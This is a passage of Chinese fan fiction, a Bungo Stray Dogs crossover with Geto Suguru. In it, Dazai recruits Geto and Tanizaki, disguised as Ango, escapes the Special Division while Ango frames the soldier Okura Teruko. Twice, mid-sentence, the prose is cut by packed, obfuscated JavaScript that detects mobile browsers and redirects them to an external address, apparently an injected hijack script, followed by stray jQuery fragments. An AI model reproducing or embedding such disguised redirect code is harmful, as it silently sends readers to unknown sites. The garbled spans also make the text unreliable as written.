“我想起来了……整个计划里唯一的变量大仓烨子是你故意引来的吧?”他敏锐地发现盲点。 太宰非常震惊,仿佛看见什么不可思议的东西,表情甚至到了浮夸的地步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15302807|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你居然能发现!!” “……”夏油杰缓缓微笑,“弹药箱还在我手里,你说话注意点语气,小心我把军火扔到横滨市里坐看黑手党自相残杀。” 太宰从善如流,改成一副真挚诚恳的语气:“不愧是你,果然发现了我在故意坑队友。” “……好好说话。” 夏油杰满脸无奈,跟太宰在一起,他连心态都年轻不少,梦回高专念书。 “我已经把线索告诉你了。”太宰循循善诱,“你想想,谷崎伪装的是谁?” “坂口安吾先生。” “安吾离开的目的是什么?” “向钟塔侍从建议封印大指令。” 太宰打了个响指,“如果你是钟塔侍从,前脚收到建议,后脚就得知恐怖分子伪装成提议人大闹特务科,还把最高长官劫走了,你觉得侦探社的真正目的是什么?” “反正不是为了给种田长官治病。”夏油杰熟练吐槽起来,“他们应该会猜测,侦探社是在破坏安吾先生的信誉,阻止封印提案生效——他们会认为侦探社想要大指令。” 原来是这样。 夏油杰恍然大悟,原来根本不用坂口安吾苦口婆心劝阻,钟塔侍从猜到这里会主动设下封印,反正多加层防护也不是大事,无论是真是假,一切慎重为主。 太宰露出一抹恶劣的坏笑:“不仅如此,要是这时候,不知道队长真实面貌的烨子小姐,继续向钟塔侍从提出维持大指令原样的请求,你觉得钟塔侍从怎么想?” 夏油杰缓缓:“……军警里有侦探社的卧底。” 太宰啪一下拍掌,眉开眼笑,“没错!所以必须大仓烨子来,其他人都不行。” 末广铁肠实力强大,国木田三人无法抗衡,条野采菊性格恶劣,非常精明,能立即反推理出太宰的企图,并且恶趣味地破坏掉。 他想了想,补充一句:“不过贤治不生气时会控制能力,我又不可能为了逼他愤怒,让其他人被大仓烨子砍伤,所以我还给他们留了个后手。” 夏油杰沉默,太宰的后手怎么一个接一个,比咒灵操术还套娃。 看穿他想法的太宰本人摊手:“没办法,这不是解决敌人就能恢复原装的动乱,而是一场较量,争分夺秒抢先时间,我必须要在最短时间做出最多的部署,才能追赶上魔人的阴谋。” “没人知道他为这场局,布置了多久,八年前那场吸血鬼之灾,难道也在他的计划之中吗?” 太宰叹气,他微微合眼抬起脸,一直以来成竹在胸的他竟罕见地带着疲惫,语气依然冷静无比:“夏油君,八年前的我在见证森先生成为首领,那是我加入黑手党的开端,而现在,我要破解一场跟我踏入横滨的时间差不多长的诡计。” “我必须要快,要顾虑全面,要尽可能用最优解破开魔人留下的难题。” 夏油杰听着听着,发现这人话题猛地再次一转。 "所以,我想正式向你发出邀请——” 这个大部分时间都没个正经的家伙站直身子,难得严肃起来,语气出乎寻常的郑重其事:“请你以编外成员的身份协助侦探社,事后报酬我会支付。" 22.第 22 章 谷崎正在逃命。 之前他根据太宰先生的指引,面不改色念出一连串字母数字混合的复杂口令,让怀疑他是伪装的特工愣了愣,收起刚才狂暴的姿态:“坂口前辈,种田长官被侦探社劫走了。” “嗯。”谷崎点头,他复述邮件原话,“我知道侦探社的计划,他们想拿到被撕下的那页纸——只有种田长官知道位置。” 听到这种隐秘信息,村社更加相信他是真正的安吾长官,她转头让其他人散开一点,免得听到不该听的机密,“您不打算追击吗?种田长官的术后恢复还不稳定。” 看来其他人并不知道书的纸页被偷了。 目前只有侦探社和天人五衰心照不宣,其他人就算听到,也会因为认知改变而下意识遗忘。 谷崎润一郎松了口气,太宰先生给他的要求是,让所有政府组织都意识到,书被偷了。 既然书页丢失是因为与侦探社被污蔑关联起来才会让所有人忽略,那就强行伪造出侦探社去偷书的行动,逼迫他们把书页失窃案跟此次事件联系起来,突破认知改变的障碍。 “侦探社的医生是珍贵的治愈系异能,”谷崎照本宣科,“他们为了得到秘密,会救下种田长官……这是让他尽快醒来的最好办法。” 村社想了想,“但您不可能放任长官在敌人大本营。” “没错。”他伪装成坂口安吾的语气,沉下脸,“所以我们要抄近路,赶在他们之前潜伏起来,等侦探社误以为安全时,偷偷跟在他们身后。” 村社自己脑补了后面的流程,恍然大悟:“我明白了,您想等他们治好长官再一网打尽吗?我会跟您一起去的,及时救回长官就交给我吧。” 领悟了上级的做法,她直接领着安吾去了特定暗道,路上谷崎借口刚才跟钟塔侍从联络没结束,他拿起手机,故意落后了几步,村社也没怀疑,自然而然地打开暗门,等他装作忙完了,才钻进地下迷宫里绕来绕去。 路上她随口闲聊:“我记得联络房间里会屏蔽固定通讯外的其他信号、还隔音,您怎么发现的警报声。” 这个问题在太宰给他的提案里,谷崎丝毫不慌:“进去之前我收到一封匿名邮件,里面说了些模棱两可的话,让我有一些大概猜测。” 村社唔了声,害怕内容是机密,就捡了个不重要也不普通的问题“谁啊?” “不知道,没时间查,反正不可能是侦探社。” 两人一前一后聊着天来到出口的位置,因为地下没有信号,谷崎想用刚才的借口没办法用,作为护卫官的村社不可能再帮他开门,她理所当然退后半步,呈保护姿态,让地位更高的上级扫描指纹虹膜。 但坂口前辈却从口袋里掏出了一本半个巴掌大的口袋书。 在村社莫名其妙的视线下,前面的青年深呼吸一口气,这个举动完全不像坂口安吾,特工眼神立刻犀利尖锐起来,但在她有动作的下一秒,伪装成坂口前辈的人突然抬手,把口袋书扔到半空。 一个金色头发的人从天而降。 “谷崎先生,退开!” 宫泽贤治从书里冒出来,他几乎同一时刻抬手,双手夹住锋利的刀刃,“嘿呀!”一声,硬是用他恐怖的巨力反客为主,把刀扯到自己手里。 “看来拔河比赛是我赢了,特工小姐。”宫泽贤治把刀扔到一边,清脆的声音敲击在金属地板上,他整理起背后的草帽,语气天真而开朗:“所以,你能配合下,打开这扇门吗?” 在宫泽贤治压倒性的力量下,失去特殊部队的村社反抗无力,谷崎连忙扫了她的虹膜和指纹,厚重大门缓缓开启,一道红色头发年龄稚嫩的军警站在门外。 她哦呀一声,挑起眉头,视线缓缓扫过被控制的村社,又落在表情凝重的侦探社成员身上,兴奋地压了压帽子。 “原本只是帮队长递个话……没想到,居然有意外惊喜!” 大仓烨子猛地抽出刀,她脸上挂着残忍而乖张的大笑,膝盖微弯弹射冲上来:“来沐浴鲜血吧!哈哈哈哈哈,让你们见识见识我的残暴!” 作为人质被抓在手里,实际上根本没怎么受伤的村社,在听完这句话的第一反应不是得救了,而是:“这军警是不是有点中二?” 第二反应才是,自己好像被放开了。 侦探社没有用人质威胁军警,反而松开手后退几步,好让村社安然无恙站在原地,她愣愣地看着侦探社飞快逃命,力气大到恐怖的乡村少年随手举起电线杆,向着大仓烨子扔去。 红发的幼小军警挥刀斩断,一个箭步冲上去,宫泽贤治边掩护同事撤退边扔干扰物,路上有什么他扔什么,从垃圾堆到货车再到隐蔽停放的运输机,没有举不起来的东西。 大仓烨子来者不拒,统统拦腰斩断,眼看敌人趁此机会跑远,她反而把刀收回鞘里,十指交叉活动关节,做出起步的姿势。 “哼,真是麻烦,不过到此为止了。” 她猛地弹射冲了上去,异能特务科是隐秘部门,建造的密道出口往往在森林或者荒无人烟的郊区,这里就属于第二种,佯装废弃的工厂里到处都是杂物,之前给了宫泽贤治拖延时间的手段,现在也成了拖累侦探社逃命速度的致命障碍。 “来感受下我的异能吧,灵魂的喘——诶??” 突然一张夹着白纸的手伸到她眼前,大仓烨子被这张脆弱至极的白纸阻挡,接触的瞬间,两者间竟发出碰撞坚固物体的声音,在她震惊的目光下,这张纸变成一块金色透明却硬度非凡的玻璃片。 宫泽贤治头也不回,跟早有预料一样,抓着突然出现的国木田独步后衣领,另一只手夹着谷崎润一郎,飞快跳出墙头离开。 大仓烨子回神,正要去追,一群穿着黑衣的特种部队忽然出现,默契十足的把她包围,队伍两侧让开一条通道,穿西装戴着眼镜的参事官辅佐迈步而出。 他推了推眼镜,表情冷淡而高傲,“军警的人,为什么要来特务科闹事?” 大仓烨子依然看向墙外,侦探社的人早就跑到没影了,她啧了声,恨恨放下手回头应答:“不是我,刚才有通缉犯闯进来了,我只是履行职务逮捕他们。” 坂口安吾缓缓开口:“在我进入房间联系钟塔侍从前,收到一封匿名邮件。” 匆匆赶来帮军警解释的村社闻言愣了下。 原来还真有邮件啊?不会是侦探社故意发的吧? “邮件里说:奉神威之令,侦探社将为所有人送上一场大礼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304521|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”坂口安吾确实收到了这封邮件,不怕被人调查,他盯着大仓烨子眯起眼睛,“而通讯层层加密的地址来源,竟然来自军警的本部方位。” 他冷漠地落下最后通牒:“特务科需要一个解释。” 受到冤枉的大仓烨子委屈极了,她看着特殊部队对待犯人一样的警惕态度,瘪了瘪嘴,像个真正的孩子一样掐腰,“都说了我是凑巧路过!我怎么知道神威是谁?反正不是我!” 坂口安吾不为所动,“但我刚出来就看到你把侦探社甩出墙外。” 大仓烨子体会到百口莫辩的难处:“我只是想发动异能,结果被莫名其妙的玻璃片挡住了,冲击力导致他们借力离开!” 坂口安吾步步紧逼:“我知道猎犬接受过异能手术,防弹玻璃也能轻易击碎,按你的说法,一块玻璃还能挡住你的攻击?” 早知道就继续用刀了,大仓烨子暗暗咬牙,她知道自己现在像在辩解,换位思考下,她听完别人这么解释也会觉得太离谱。 坂口安吾还在持续打击:“事实上,钟塔侍从的事务员也听闻了这个消息,考虑到福地队长刚刚授勋,他担心冤枉你们,特意协助我调查信号来源,这个发射地绝对真实。” 当然真实。 他亲自跑到军警部门用备用机发的邮件,无论谁调查都不可能发现地址作假。 坂口安吾看着大仓烨子又委屈又抓狂的表情,叹气,在心里默默道歉,不好意思,这是能让侦探社安全逃走的最好方法,只需要付出一点小小的代价,不会有任何人受伤。 他语气稍微放软,把话题转移到正事上:“你说来特务科是路过,应该不是散步到这里了吧?” 大仓烨子声音闷闷的,瘪着嘴,还没从刚才的咄咄逼问中缓过神来,“是关于大指令的提案,队长告诉我,他感觉到被自己封印的布拉姆突破圣剑封印了,此刻正藏在不知名的地方酝酿着阴谋,到那时候,只有大指令能在绝对意义上分辨出人类和吸血鬼。” 她觉得队长说的没错,就算错了那也是别人的错。 天人五衰正全球兴风作浪,吸血鬼莫名其妙冒了出来,实在太巧了,谁知道他们是不是把布拉姆救出来,只为了把全世界拖入恐慌中。 坂口安吾果断拒绝:“我的消息来源告诉我,侦探社的下步计划就是夺取大指令,我不能放任这种危险的异能武器毫无预防措施。” “至于吸血鬼,又不是没办法解决。”他理由充足到让人无法反驳,跟许多守旧古板的高层说辞一样,“无论是八年前的吸血鬼感染,还是前几年的狼人病毒,都被人类自己解决了,没必要动用高危异能武器。” 大仓烨子不赞成,“之前布拉姆没有感染人类的心思,都造成空前绝后的大灾难了,现在他疑似被侦探社利用,怎么能轻易把两者的难度归纳到一起!” 坂口安吾像是懒得费口舌,转身离开:“军警和特务科业务不重合,我管不了你们,你大可自己去跟钟塔侍从说,顺便解释下信号来源的问题。” “我有个问题。”大仓烨子在背后喊,“你说自己有消息来源,是谁告诉你——侦探社的下步计划是夺取大指令?” “港口黑手党,我以前在那里卧底过。”